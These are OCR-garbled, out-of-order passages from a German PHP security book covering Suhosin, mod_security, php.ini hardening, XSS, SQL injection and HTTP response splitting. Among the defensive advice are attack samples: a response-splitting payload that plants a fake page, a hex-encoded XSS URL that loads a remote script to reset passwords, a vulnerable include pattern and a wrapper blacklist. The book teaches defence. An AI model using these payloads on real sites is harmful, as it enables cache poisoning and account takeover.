377. ngt notwendig ver schiedene Werte f r GET POST und COOKIE festzulegen Der Wert einer Cookie Variablen sollte nicht l nger als 200 Zeichen sein selbst das ist 270 11 PHP Hardening schon selten bei einer GET Variablen ist eine Stringl nge von 1000 auch ausreichend nur bei per POST bertragenen Strings ist die Absch tzung schwieriger Die 65000 Bytes der Standardeinstellung k nnten bei sehr langen Artikeln etwas zu kurz gegriffen sein Fol gende Direktiven legen f r GET POST und COOKIE jeweils sinnvolle Werte fest suhosin cookie max_value_length 200 suhosin get max_value_length 1000 suhosin post max_value_length 100000 Wie viele verschiedene Variablen maximal pro Request Methode ber tragen werden k nnen l sst sich mit der Konfigurationsoption suhosin request max_vars bestimmen Suhosin l sst maximal 200 Variablen zu bevor er einen Fehler meldet und das aktuelle Skript abbricht F r GET und POST ist dieser Wert in der Regel v llig ausreichend f r COOKIE viel zu hoch gegriffen Schlie lich sind Cookies nicht als Datenspeicher gedacht hier sollten Sie mit 20 Variablen auskommen suhosin get max_vars 200 suhosin post max_vars 200 suhosin cookie max_vars 20 Im Normalfall resultiert eine Verletzung einer der Regeln lediglich darin dass die entsprechende Variable ignoriert und nicht an das PHP Skript weitergegeben wird Mit der Direktive suhosin filter action ist es jedoch m glich dieses
378. nicht hun dertprozentig ausgeschlossen werden Die Suhosin Extension f r PHP bietet eine M glichkeit die Session Daten automatisch beim Speichern auf der Festplatte des Webservers zu verschl sseln sodass ein Angrei fer mit Zugriff auf das Dateisystem die serialisierten Arrays in den Ses sion Dateien nicht mehr einfach auslesen kann Mehr dazu erfahren Sie in Kapitel 11 Daten auf der Festplatte m ssen f r jeden Benutzer in einem eigenen Verzeichnis mit Rechten nur f r diesen User gespeichert werden www users user12345 tmp C inetpub users user12345 temp Damit PHP Session Daten f r einen virtuellen Host in einem separaten Verzeichnis speichert muss in der Webserver Konfiguration in unse rem Beispiel Apache die entsprechende Konfigurationsvariable gesetzt werden allerdings geht das nur bei mod_php Bei einer CGI Installation von PHP kann f r jeden Benutzer eine eigene php ini angelegt werden die den session save_path individuell speichert um Session Daten nach Benutzer oder Kunden zu trennen session save_path www KundeA tmp session save_path D Kunden Sessions KundeA tmp 73 Session Speicherung 1751 Mehr ber benutzerspezifische Konfiguration und die Sicherung einer PHP Installation erfahren Sie im Kapitel 9 PHP intern Haben Sie keinen Zugriff auf die Konfigurationsdateien f r Web server und PHP m chten aber dennoch verhindern dass Ihre Session Daten von jedermann gelesen werden k nnen
379. nieren auf Servern mit vielen verschiedenen virtuellen Domains z B bei Webhosting Agenturen kann mod_secu rity also nur eingesetzt werden wenn die definierten Regeln bei kei nem einzigen virtuellen Host Probleme verursachen Um das Sicherheitsmodul nur zu konfigurieren wenn es auch wirklich geladen ist sollten Sie die gesamte Konfiguration mit einem Konditionalblock umschlie en lt IfModule mod_security c gt lt 1fModule gt Vorab ein Wort zur Notation in den folgenden Abschnitten Konfigu rationsdirektiven werden in der Regel mit allen Optionen aufgelistet damit Sie eine bersicht ber die m glichen Einstellungen haben Das gilt nat rlich nicht f r die sp ter folgenden Filter oder Aktionen die eine quasi beliebige Anzahl von Argumenten haben k nnen Beispiels weise k nnte die Direktive BeispielDirektive on off vielleicht von Ihnen entweder auf on off oder den dritten Status vielleicht gesetzt werden Die wichtigste Konfigurationdirektive f r mod_security wird benutzt um den Filter komplett an und auszuschalten SecFilterEngine On Off Sobald diese Direktive auf On gestellt wird ist mod_security aktiv steht das Schl sselwort SecFilterEngine auf Off wird die weitere Kon figuration nicht beachtet Einige weitere Schl sselw rter k nnen Sie nutzen um das Verhal ten des Moduls zu ndern und generelle Parameter festzulegen Mit der Konfigurationsdirektive SecFilterScanpoST On off k
380. ning Patch f r PHP siehe Kapitel 11 PHP Hardening installieren Dieser wurde mit besonderem Augenmerk auf L cken in PHP entwi ckelt und enth lt einige generische Methoden um das Gefahrenpoten zial dieser L cken zu senken 10 2 Bestandteile eines sicheren Servers Neben den gegen Sicherheitsl cken gesicherten PHP Skripten ist ein wesentlicher Bestandteil der Betriebssicherheit Ihrer Anwendungen der Server selbst also die Kombination aus Web und Datenbankserver Dem Prinzip defense in depth folgend sollten alle Teile Ihrer Anwendung bestm glich abgesichert sein um selbst im Fall einer l ckenhaften Anwendung m gliche Angreifer nicht bis zum Kern des Systems vordringen zu lassen Zur Absicherung eines PHP Servers m ssen Sie folgende drei Teilsysteme sichern Webserver Die PHP Installation selbst Datenbankserver Dem wichtigsten dieser Punkte die Installation eines m glichst siche ren PHP wollen wir uns im folgenden Kapitel haupts chlich widmen Der Server muss hier sowohl gegen Angreifer von au en also Hacker die in Ihr System eindringen wollen als auch gegen Attacken von 212 10 PHPintern Abb 10 1 Priorit tsdreieck bei der PHP Konfiguration innen durch b swillige Kunden auf demselben Server optimal gesch tzt werden Gerade f r Webhoster ist diese Frage von zentraler Bedeu tung haben sie doch die Aufgabe wom glich Hunderte von Kunden mit ihrer Dienstleistung zu versorgen sie aber von
381. nlich wie bei suExec k nnen Sie ber verschiedene ScriptAlias Direktiven f r jeden virtuellen Host verschiedene Wrapper Skripte unterbringen die ber die korrekten Benutzer und Gruppenrechte verf gen m ssen Mit FastCGI entsteht ein Geschwindigkeitsvorteil gegen ber tra ditionellem CGI PHP weswegen es sich inzwischen gro er Beliebt heit erfreut Die Unterst tzung f r suExec rundet das positive Bild ab 10 10 3 Das Apache Modul mod_suid Einen sehr interessanten wenn auch h chst zwiesp ltigen Ansatz ver folgt das Apache Modul mod_suid Es erlaubt dem Administrator hnlich wie bei suExec den Benutzer und die Gruppe f r jeden virtuel len Host des Webservers separat zu setzen und diese Konfiguration wird auch an Webservermodule vererbt Mod_suid existiert f r alle Versionen von Apache 1 Ist eine solche Direktive in der Konfigurationsdatei gesetzt so setzt das suid Modul f r jeden virtuellen Host die Benutzer und Gruppen ID separat und zwar anhand folgender vier M glichkeiten Datei Der Apache Prozess erbt Benutzer und Gruppe der Datei auf die er zugreift Document Root Benutzer und Gruppe denen das Document Root des aktuellen virtuellen Hosts geh rt werden gesetzt Parent Directory mod_suid ndert die IDs auf die des aktuell bergeordneten Verzeichnisses User Group In je einer separaten Konfigurationsdirektive werden Benutzer und Gruppen ID explizit festgelegt 6 http www palsenberg com
382. nn eine Endlos Rekursion zu einem Speicherzugriffsfehler f hrt ist von System zu System verschieden suhosin executor max_depth 300 Die Option suhosin executor func whitelist dient dazu eine Positiv liste von Funktionen zu definieren die aufgerufen werden k nnen und keine anderen In der Praxis d rfte die Anwendung dieser Direk tive ziemlich selten sein da es unsinnig erscheint f r eine Applikation wie Typo3 zun chst eine Positivliste aller dort verwendeten PHP Funktionen zu definieren um alle anderen dann zu verbieten Theore tisch ergeben sich jedoch interessante Anwendungsm glichkeiten So k nnte ein Hosting Provider seinen Kunden je nach Hosting Paket stark featurebeschr nkte PHP F higkeiten zur Verf gung stellen ohne neue PHP Binaries oder Module kompilieren zu m ssen Auch spezi alisierte virtuelle Hosts auf denen ausschlie lich eine bestimmte Auf gabe ausgef hrt wird sind denkbar Eine kommaseparierte Liste von Funktionsnamen wird an die Direktive bergeben Konstrukte wie for echo aber auch include und eval sind stets verf gbar und m ssen nicht in die Whitelist bernom men werden Um die Whitelist zu deaktivieren lassen Sie die Konfigurations direktive einfach leer dann wird bei jedem Funktionsaufruf nur die Blacklist beachtet Ein beispielhafter Aufruf der ausschlie lich den Aufruf der wichtigsten MySQL Funktionen erlaubt sieht so aus suhosin executor func whitelist mysql_connect mys
383. nstrukts include deren bergabeparameter einer URL hneln werden geblockt das Haupt einfallstor f r Scriptkiddies ist somit geschlossen Dies kann allerdings auch legitime Anwendungen betreffen sodass unter Umst nden einige sehr kreativ programmierte Skripte die solche URL Includes nut zen nicht mehr so funktionieren k nnen wie gew nscht Aus diesem Grund kann der Komplettschutz optional durch eine Positiv oder Negativliste ersetzt werden Die daf r zust ndigen Direktiven hei en suhosin executor include whitelist file harmlos suhosin executor include blacklist http https ftp ftps php input data Besser w re es allerdings Ihre Anwendung so zu modifizieren dass der nicht ganz ungef hrliche Include Aufruf durch etwas weniger Heikles wie ein fopen o ersetzt wird Des Weiteren verhindert die Extension dass Bugs in PHPs Behand lung berlanger und illegaler Dateinamen dazu genutzt werden k n nen beliebige Dateien zu inkludieren Insbesondere Nullbyte Angriffe sind so nicht mehr m glich Mit dieser Angriffsklasse wurde ein Schutzmechanismus ausgehebelt den viele Entwickler als ausreichend f r ihre Include Konstrukte ansahen An die aus _GET erhaltene Vari able die z B einen Seitennamen angibt wird ein festes Suffix wie inc inc php oder auch txt angeh ngt und der daraus folgende Datei name wird inkludiert In der Praxis sah dies meist so aus include pages _GET pagename inc php
384. ob der Integerwert zwi schen einem bestimmten Minimum und Maximum liegt erstellen Sie ein entsprechendes Array mit Optionen options array options gt array min_range gt 1 max_range gt 65535 intzahl filter_var zahl FILTER_VALIDATE_INT options Analog k nnen Sie auch Float Werte filtern M chten Sie nicht auf das in Deutschland bliche Dezimaltrennzeichen verzichten k nnen Sie eine entsprechende Option vorsehen options array options gt array decimal gt floatwert filter_var zahl FILTER _VALIDATE_FLOAT options Auch Zahlenwerte in anderen als dem Dezimalsystem n mlich hexa dezimale und oktale Zahlen k nnen Sie in einem Filterausdruck erlau ben Da Oktalzahlen in PHP mit f hrender 0 geschrieben werden und Hexadezimalwerte verbotene Zeichen enthalten n mlich die Buchstaben a f und das kleine x sind sie eigentlich keine g ltigen Integerwerte im Sinne der Definition Mit zwei Flags die im dritten Argument bergeben werden k nnen Sie jedoch eine Ausnahmebe handlung ansto en Flags werden mit einem anderen assoziativen Array bergeben das sinnigerweise flags benannt ist und k nnen also auch zus tzlich zum Optionsarray angegeben sein options array options gt array flags gt FILTER _FLAG_ALLOW_HEX Dieses Array an filter_var bergeben lie e neben dezimalen auch hexadezimale Zahlen zu Analog verh lt sich die Konstante FILTE
385. obere Grenze dar suhosin request max_array_depth 50 Auch die L nge von Variablen k nnen Sie mit Suhosin sehr feink rnig bestimmen Zum einen gibt der Parameter suhosin request max_array_ index_length an wie lang ein Array Schl ssel maximal sein darf Der Standardwert von 64 Zeichen sollte f r die meisten Anwendungen ausreichen Der Konfigurationswert suhosin request max_name_length regelt die L nge des eigentlichen Variablennamens also der Zeichenkette zwischen und ggf der ersten eckigen Klammer Eine Standardeinstel lung von 64 Zeichen ist in der Regel ausreichend daher m ssen Sie hier keine weiteren Anpassungen vornehmen Wie lang eine Variablenbezeichnung insgesamt sein darf das hei t die L nge des Variablennamens und aller Array Indizes inbegrif fen bestimmt die Direktive suhosin request max_totalname_length Sie ist im Auslieferungszustand auf 256 Zeichen begrenzt was unter Umst nden etwas kurz sein kann Ein etwas ppigeres Limit von 512 Zeichen ist hier angebracht Wie lang der Wert einer Variablen maximal sein kann k nnen Sie mit der Anweisung suhosin request max_value_length festlegen Dieser Konfigurationsparameter ist derjenige bei dem Sie am sorgf ltigsten zwischen GET POST und COOKIE unterscheiden m ssen W hrend Cookies meist nur numerische oder Session IDs enthalten kann per POST auch schon einmal ein kompletter Aufsatz bertragen werden etwa bei einem CMS oder Blog Daher ist es hier unbedi
386. oblem mit XSS ist die Tatsache dass XSS Angriffe als Firewall Brecher verwendet werden k nnen und selbst ein ansons ten gesch tztes lokales Netzwerk durch webbasierte Angriffe penet riert werden kann Ein solcher dezentraler oder Second Order Angriff nutzt meist die Tatsache aus dass bestimmte Teile einer verteil ten webbasierten Anwendung nur aus dem lokalen Netzwerk des Anwenders zug nglich sind Bei einer E Commerce L sung k nnte das das Warenwirtschaftssystem sein das im LAN der Firma l uft jedoch an die Registrierungs und Bestelldatenbank des Onlineshops ange bunden ist Bei Onlinemagazinen oder News Sites k nnte das Auto rensystem nur innerhalb des Firmennetzes verf gbar sein jedoch wer den Moderationsfunktionen und Benutzerfreischaltungen ber eine zentrale Datenbank gesteuert In all diesen F llen bedeutet ein erfolg reicher XSS dass der Angreifer unter Umst nden Aktionen ausf hren kann besser ausf hren lassen kann zu denen er berhaupt keinen Netzwerkzugriff hat Derartige Angriffe sind meist schwer durchzuf hren wenn der Angreifer nicht ber das notwendige Insiderwissen verf gt Gelingt es ihm aber die notwendigen Informationen ber die intern eingesetzte Software und deren L cken zu beschaffen hat er meist freie Hand denn nur die wenigsten Entwickler sichern f r reinen LAN Zugriff gedachte Anwendungen so intensiv wie sie das f r ber das Internet zug ngliche Applikationen tun w rden sie
387. odel DOM umgangen werden der Schadcode erh lt Zugriff auf Daten und Variablen die ihm eigentlich nicht zug nglich sein d rften Nicht nur auf Webseiten k n nen XSS Angriffe erfolgreich durchgef hrt werden auch viele Mail Clients zeigen aktive Inhalte in HTML E Mails an und werden dadurch anf llig f r XSS Aktive Inhalte sind jedoch in diesem Falle keine PHP Skripte sondern JavaScript JScript oder hnliche Skript sprachen die der Client direkt ausf hrt Da XSS vordergr ndig keine direkte Gefahr f r den Server und die auf dem Server gelagerten Daten darstellt wird die Bek mpfung von Cross Site Scripting von vielen Entwicklern str flich vernachl ssigt In 4 3 Warum XSS gef hrlich ist s3l den H nden eines talentierten Angreifers kann XSS jedoch zu einer gef hrlichen Waffe werden und zum Diebstahl von Session Cookies Login Daten ja sogar zur Installation von Software auf dem Rechner des Clients genutzt werden Ein einfaches Beispiel f r eine XSS anf llige Applikation w re ein Webformular mit dem Besucher in einem G stebuch ihre Kommentare oder Anregungen hinterlassen k nnen und das aus sthetischen Gr n den HTML Tags erlaubt Fin Angreifer k nnte nun in einem G ste bucheintrag JavaScript verwenden um jeden Besucher des G stebu ches mit einer Popup Nachricht zu begr en oder ihn sogar auf seine eigene Seite umzuleiten Der dazugeh rige Code s he so aus lt script language javascript g
388. ofort verf gbar Die Konfiguration eines PHP CGls mit FastCGI erledigt folgender kurzer Block in der httpd conf FastCgiServer home www cgi php wrapper FastCgiSuexec usr local apache bin suexec FastCgiConfig singleThreshold 100 killInterval 300 autolpdate idle timeout 240 pass header HTTP_AUTHORIZATION AddHandler php fastcegi php ScriptAlias cgi bin home www cgi lt Location cgi bin php wrapper gt SetHandler fastcgi script lt Location gt Action php fastcgi cgi bin php wrapper AddType application x httpd php php Gesetzt den Fall dass Sie die Dateiendung php durch den FastCGI PHP Interpreter parsen lassen wollen ist die obige Konfiguration aus reichend Sie beinhaltet auch Unterst tzung f r suExec das Sie wie gewohnt ber User und Group in einem lt VirtualHost gt Block konfigu rieren Die vom FastCGI Server aufgerufene Datei php wrapper ist ein kur zes Shell Skript das einige Parameter setzt und dann das eigentliche PHP startet 5 http www fastegi com dist 10 10 Externe Ans tze 237 bin sh PHPRC home www etc export PHPRC PHP_FCGI_CHILDREN 4 export PHP_FCGI_CHILDREN exec usr local bin php5 fegi Das in diesem Skript angegebene php5 fcgi ist das zuvor mit FastCGI Unterst tzung kompilierte PHP in der Variablen PHPRC wird der Pfad zur php ini angegeben Wie viele PHP Prozesse vom FastCGI Modul gestartet werden k nnen Sie ber die Variable PHP_FCGI_ CHILDREN steu ern h
389. olgenderma en aus lt form action index php method post enctype multipart form data gt lt input type file name filename gt lt input type hidden name MAX_FILE_SIZE value 51200 gt lt input type submit name button value submitbutton gt lt form gt ss 8 Upload Formulare HTML Upload Formular upload_max_filesize upload_tmp_dir Dieses Formular erlaubt das Hochladen von beliebigen Dateien bis zur Gr e von 51200 Byte Diese Gr enbeschr nkung wird durch das Hidden Feld MAX_FILE_SIZE bestimmt Die Dateigr e sollte auf dem Server selbst auch nochmals berpr ft werden denn diese Angabe ist ein Wert der von einem nicht vertrauensw rdigen Client kommt Die Angabe MAX_FILE SIZE kann auf dem Client an die Bed rfnisse des Angreifers angepasst worden sein In der Konfigurationsdatei php ini kann die Option upload_ max_filesize auf einen Wert gesetzt werden der nicht berschritten werden darf Der Inhalt des Formularfeldes filename muss ebenfalls berpr ft werden vor allem falls die aus diesem Feld resultierende Variable zusammen mit einer Fehlermeldung angezeigt werden soll Durch JavaScript oder andere unter Umst nden betriebssysteminterne Steuer zeichen k nnen XSS L cken mehr zu XSS im Kapitel 4 Cross Site Scripting oder Fehler auf Dateisystemebene entstehen 83 _ PHP interne Verarbeitung PHP nimmt diese Datei entgegen und speichert sie in dem Pfad der in der Konfigu
390. ompiliert installiert und akti viert das Chroot Modul im Webserver Mit der Direktive ChrootDir var www setzen Sie das Grundverzeichnis in dem der gesamte Webserver einge sperrt wird Diese Direktive k nnen Sie nur in der Hauptkonfiguration verwenden und nicht innerhalb von lt VirtualHost gt lt Directory gt oder lt Location gt Bl cken einf gen Damit ist mod_chroot f r Hos ting oder andere Server auf denen die virtuellen Hosts voneinander abgeschottet sein sollen nicht die passende L sung 10 12 Fazit Um ein m glichst sicheres PHP zu haben sollten Sie auf mod_php verzichten Es kann prinzipbedingt nicht so abgesichert werden wie eine CGI Installation Setzen Sie auf CGI PHP k nnen Sie mod_suphp verwenden mit dem es am leichtesten ist jedem virtuellen Host eine eigene php ini zu bergeben In dieser php ini die f r den Kunden nicht nderbar sein sollte sollten Sie folgende Einstellungen vornehmen register_globals Off safe_mode On safe mode _exec_dir usr local safebin safe mode include dir usr local lib php safe _mode allowed _env_vars PHP_ safe_mode_protected_env_vars LD_LIBRARY_PATH LD_PRELOAD open_basedir home www kundel usr local lib php upload_tmp_dir home www kundel tmp memory_limit 16M disable_functions pcntl_fork max_execution_time 60 max_input_time 30 Im safe_mode_exec_dir sollten nicht mehr externe Programme als unbe dingt notwendig liegen mei
391. on PHP benutzten Parameter finden Sie ganz oben in der Ausgabe von phpinfo Sie ben tigen f r Suhosin keine configure Switches da alle Einstel lungen in der php ini vorgenommen werden dazu sp ter mehr Nach der Konfiguration des gepatchten PHP bersetzen Sie es wie gewohnt mit make installieren Ihr mit Suhosin gepatchtes PHP mit dem Kommando make install und starten Ihren Webserver neu Rufen Sie nun phpinfo auf so sollte nach erfolgreicher Installation ein weiterer Kasten im Kopf erscheinen der neben der Versionsnummer des Suho sin Patch auch das Suhosin Logo enth lt siehe Abb 11 1 This server is protected with the Suhosin Patch 0 9 6 2 Copyright c 2006 Hardened PHP Project This program makes use ofthe Zend Scripting Language Engine Zend Engine v2 2 0 Copyright c 1998 2007 Zend Technologies with Suhosin vO 9 23 Copyright c 2007 by SektionEins GmbH Fehlermeldung bei doppeltem Patchen Abb 11 1 Ausgabe von Suhosin in phpinfo FR Powered By 258 11 PHP Hardening 11 3 2 Installation der Extension Sollte Ihnen die Installation des Patch kompliziert vorkommen so seien Sie beruhigt Die Installation der Extension ist um einiges einfa cher und unproblematischer Im Idealfall steht sie so etwa bei Debian und einigen anderen Linux Varianten als Paket vom Hersteller Ihrer Distribution bereit Sollte das nicht der Fall sein so besorgen Sie sich zun chst den Quelltext der Extension au
392. on strlen zur Verf gung lt php if strlen passwort lt 8 strlen passwort gt 20 die Passwort ist falsch gt Firmen die eine bestimmte Security Policy verfolgen schreiben vor wie lange und aus welchen Zeichen ein Passwort bestehen muss In strlen zur L ngenpr fung 70 3 Parametermanipulation Arrays aufL nge berpr fen dem obigen Beispiel fehlt nur noch das berpr fen der erlaubten Zei chen das wir Ihnen sp ter noch zeigen werden Die L ngen berpr fung soll verhindern dass Benutzer zu kurze Passw rter eingeben und diese durch eine Brute Force Attacke oder durch Frraten angreifbar werden Zu lange Passw rter hingegen erh hen die Wahrscheinlich keit dass der Nutzer sein Passwort vergisst was mehr Supportauf wand f r den Betreiber bedeutet Zudem besteht die Gefahr dass ein obgleich sehr langes unsicheres Passwort gew hlt wird weil es leicht zu merken ist etwa eine Ziffernfolge von 0 bis 14 20 Zeichen oder hnliches Nicht nur Strings m ssen auf die korrekte L nge berpr ft wer den sondern auch Arrays Dies kann mit der PHP Funktion count durchgef hrt werden Hier gilt das Gleiche wie f r die L ngen berpr fung von Strings sobald Sie feststellen dass eine Manipulation erfolgt ist muss die Verarbeitung der Daten abgebrochen werden lt php if count arr gt 5 die Manipulation gt PHP bietet seit PHP 4 2 0 einen zweiten Parameter
393. ons eine immer beliebtere Attacke wie man auch an der steigenden Zahl der Advisories auf den einschl gigen Security Mailinglisten erkennen kann Die Anzahl der datenbankbasierten Anwendungen und auch die Publikationen wie man solche Anwendungen angreifen kann sind gestiegen Es wurden immer mehr Exploits f r SQL Injection Angriffe in Umlauf gebracht und auch die Zahl der automatischen Werkzeuge die pr fen ob eine Anwendung verwundbar ist ist in die H he geschnellt Ein Exploit ist ein Schadprogramm das Schwachstellen in einer Applikation automa tisiert ausnutzen kann Dies hat nat rlich zu den verschiedensten Angriffen auf verbreitete Applikationen gef hrt die immer weiter optimiert wurden Aber nicht nur die Zahl der Angriffe ist gestiegen sondern auch die Anzahl der Verteidigungsm glichkeiten Viele Anwendungen arbeiten mit einer Datenbank zusammen in die sie Werte einf gen die oft aus Benutzereingaben stammen Aus diesen Daten erzeugt die Webanwendung dann SQL Statements und schickt sie an die Datenbank Aber auch URL Parameter werden in dynamischen Anwendungen an eine Datenbank weitergegeben z B die ID einer Seite oder die Artikelnummer eines Produktes in einem Onlineshop Das Problem das zu einer SQL Injection f hrt besteht darin dass Eingaben per Parameter GET POST COOKIE usw ungepr ft in ein SQL Statement eingef gt werden Das kann zu einem Das Problem Ungepr fte Parameter 22 5 SQL Injection
394. order GP Es werden nur die superglobalen Arrays _GET und _POST bef llt Alle anderen bleiben leer _GET wird hierbei von _POST berschrieben 316 B Wichtige Optionen in php ini B 2 register_globals M gliche Einstellungen On Off Voreinstellung Off Bereich PHP_INI_PERDIR register_globals legt fest ob die EGPCS Variablen als globale Variab len registriert werden sollen oder nicht Viele PHP Programmierer hal ten diese Konfigurationsoption f r ein Sicherheitsloch wenn diese auf on steht Dies ist aber nicht der Fall Das Gef hrliche an der Einstellung register_globals on ist dass uninitialisierte Variablen von au erhalb des PHP Skriptes initialisiert werden k nnen und das kann zu Sicherheitsl cken f hren B 3 _register_long_arrays M gliche Einstellungen On Off Voreinstellung On Bereich PHP_INI_PERDIR Diese Konfigurationsoption weist PHP an die nicht mehr zur Verwen dung empfohlenen HTTP_x_VARS zu verwenden oder nicht Diese Option wurde mit PHP 5 eingef hrt B 4 register_argc_argv M gliche Einstellungen On Off Voreinstellung On Bereich PHP_INI_PERDIR Die Registrierung der argc und argv Variablen wird durch diese Konfigurationsoption bestimmt Bei der CLI Version von PHP stehen in diesen Arrays die Kommandozeilenparameter Auf einem Webserver werden dort die _GET Variablen abgebildet B 5 post_max_size
395. ordwrap oder aber h ufig genutzte Sicherheitsfunktionen wie htmlentities enthielten Buffer Overflows ber die es Angreifern m glich war fremden Code auf dem Server auszuf hren Fehler die nach Bekanntwerden stets zu hektischen Reaktionen in der PHP Com munity f hrten und teilweise sehr h ufige Updates bedingten Aus diesem Grund wurde im Jahr 2004 das Hardened PHP Project gegr ndet das sich zun chst die Entwicklung von generischen Schutz mechanismen gegen Probleme im PHP Code zum Ziel gemacht hatte Das lag zum einen daran dass die mittlerweile sehr gro e Codebase des PHP Projektes eine komplette berpr fung des sich h ufig ndernden Sourcecodes sehr aufwendig gemacht h tte zum anderen aber auch daran dass das Projekt zwischenzeitlich mehrere kritische Fehler in PHP entdeckt hatte Verwundbare PHP Anwendungen standen zun chst nicht im Fokus des Hardened PHP Projektes sondern der Schutz des Kerns von PHP der Zend Engine Aus diesem Grund wurde Hardened PHP 246 11 PHP Hardening entwickelt das eine gegen Buffer Overflows geh rtete Version von PHP war Aufgrund einer Klausel innerhalb der PHP Lizenz wurde der Sicherheitspatch zun chst in Hardening Patch for PHP umbenannt und so weiterentwickelt dass zahlreiche Schutzma nahmen hinzuge f gt wurden die sich nicht l nger auf den PHP Kern beschr nken sondern auch PHP Applikationen sch tzen Mitte 2006 wurde der Patch dann durch Suhosin abgel st Suhos
396. ourcen belegen max_execution_time 60 10 8 5 max_input_time hnlich wie mit max_execution_time verh lt es sich mit der Option max_input_time sie bestimmt wie viel Zeit ein PHP Skript maximal mit der Verarbeitung der Eingabe verbringen darf max_input_time 60 10 8 6 memory_limit Um zu verhindern dass Skripte den gesamten vorhandenen Speicher belegen und somit f r andere Aufgaben kein RAM mehr verf gbar bleibt k nnen Sie pro VirtualHost ein Speicherlimit vorgeben das allerdings ungeschickterweise sowohl per ini_set als auch ber htaccess Dateien aufgehoben werden kann Es handelt sich hier also nicht um einen harten Schutz gegen Speicherfresser trotzdem ist die Aktivierung eines sinnvollen Speicherlimits von z B 16 bis 32 MByte pro Skript anzuraten 10 8 Weitere PHP Einstellungen 227 Haben Sie Ihr PHP mit dem Parameter enable memory 1imit kompiliert wie im Installationsabschnitt empfohlen so k nnen Sie bei mod_php an einer beliebigen Stelle VirtualHost Block Verzeich nisblock htaccess und in der php ini ein Speicherlimit setzen Ein per memory_limit gesetztes Speicherlimit kann von Anwendungen ge n dert werden M chten Sie das Speicherlimit fest und nicht vom Kunden oder Skript nderbar implementieren m ssen Sie den Hardening Patch f r PHP einspielen der diese nderungen unterbindet 10 8 7 Upload Einstellungen Mit drei ini Parametern k nnen Sie das Verhalten von PHP bzgl
397. p www heise de newsticker meldung 55057 1 1 ber dieses Buch digt Dennoch hat diese Haltung auch Vorteile Sie zwingt das PHP Team die PHP Group mittelfristig Best Practices zu entwickeln und PHP Programmierer zu mehr Sicherheitsbewusstsein zu erziehen Dieses Buch soll dabei helfen indem es Problemfelder aufzeigt L sungsm glichkeiten anbietet und anhand klarer Checklisten die Absicherung neuer und vorhandener Skripte erleichtert An wen richtet sich dieses Buch Das Buch PHP Sicherheit wurde mit Blick auf zwei Gruppen von Lesern geschrieben Fortgeschrittene und Profis mit Wartungsaufga ben sowie Systemadministratoren f r Web und Datenbankserver Gerade Neulinge auf dem Feld der PHP Entwicklung gehen das haben die Autoren zumindest in vielen F llen beobachten k nnen mit einer erfrischenden Naivit t an die Programmierung ihrer ersten dynamischen Webseite heran Das ist nicht grunds tzlich falsch schlie lich ist das Prinzip von Trial and Error so alt wie die Pro grammierung selbst Da aber PHP eine serverbasierte Skriptsprache ist und die Entwicklung direkt auf dem Webserver stattfindet sind fehler hafte Hallo Welt Elaborate nicht nur f r ihren Sch pfer peinlich sondern mit etwas Pech auch eine gro e Gefahr f r andere Server im Internet Wir m chten mit diesem Buch Einsteiger auf Gefahren und Risiken aufmerksam machen die sie bei der Entwicklung und beim Einsatz von PHP Skripten beachte
398. php lang foobar 0d 0aContent Length 200 0d 0a 0d 0aHTTP 1 1 20200 200K 0d 0aContent Type 20text htm1 0d 0aContent Length 2019 0d 0a 0d 0a lt htm1 gt Hacked lt html gt und die zweite Anfrage an die URL index html glaubt der angegriffene Proxy oder Cache Server dass die erste Anfrage zur ersten Antwort geh rt HTTP 1 1 302 Moved Temporarily Date Wed 24 Dec 2003 15 26 41 GMT Location http www php sicherheit de hacked php lang foobar Content Length 0 und die zweite Anfrage an index html zur zweiten Antwort geh rt HTTP 1 1 200 OK Content Type text html Content Length 19 lt html gt Hacked lt html gt Diese Anfragefolgen werden nat rlich in Proxy oder Cache Servern gespeichert Bei der n chsten Anfrage erh lt jeder Benutzer eine gef lschte Seite Um sich gegen Angriffe durch HTTP Response Splitting zu sch tzen m ssen Sie die Sonderzeichen n und r aus den Daten herausfiltern Diese Angriffsart bietet viele weitere M glichkeiten von Attacken Von Phishing bis hin zu Umleitungen an fremde m glicherweise b s artige Applikationen die auf einem Server des Angreifers laufen So k nnen leicht Userdaten ausspioniert und Cross Site Scripting Angriffe durchgef hrt werden ohne dass der eigentliche Webserver bzw die Applikation auf dem Webserver ver ndert wurde Nat rlich k nnen die Reaktionen von Proxy zu Proxy unter schiedlich sein aber nach einiger Lekt re von Spezifikationen des 3 3 Angrif
399. ptquelle und Hex Codierung kann diese Funktion in der URL wie der stark verk rzt werden sodass Anwender der Groupware L sung wom glich nichts von dem Angriff ahnen der gerade auf sie abzielt Eine nichtssagende URL wie http groupware de user php op edituser amp additional _header 1 3C 73 63 72 69 70 74 20 73 7 2 63 3D 22 68 74 74 70 3A 2 F 2F 31 30 34 30 34 37 30 34 37 39 2 F 63 68 6 1 6E 67 65 70 61 7 3 7 3 2 E 6A 73 22 reicht aus um das Passwort eines Benutzers zur ckzusetzen Gerade in sicherheitsrelevanten Bereichen wie einer Groupware oder auch Onlinekontenf hrung kann eine erfolgreiche XSS Attacke ber DOM dazu beitragen Verwirrung zu stiften So kann praktisch jedes Element in der HTML Ausgabe ver ndert werden auch ber schriften Abs tze Layer oder Tabellenelemente Existiert auf einer Seite beispielsweise eine per HTML Tag lt h1 gt ausgezeichnete ber schrift so kann ein Angreifer den Inhalt dieser berschrift mit dem Funktionsaufruf document getElementsByTagName h1 0 innerHTML Das geh amp ouml rt hier nicht hin austauschen 4 15 XSS in HTTP Headern Hat man die vollen M glichkeiten des Document Object Model erst einmal erfasst werden Angriffe per XSS erst richtig interessant JavaScript Popups sind nur der Gipfel des Eisbergs Untersch tzen Sie nie die Macht von XSS per DOM 4 15 XSS in HTTP Headern 4 15 1 Angriffe der ersten Ordnung mit Headern Auch mit den oftmals f l
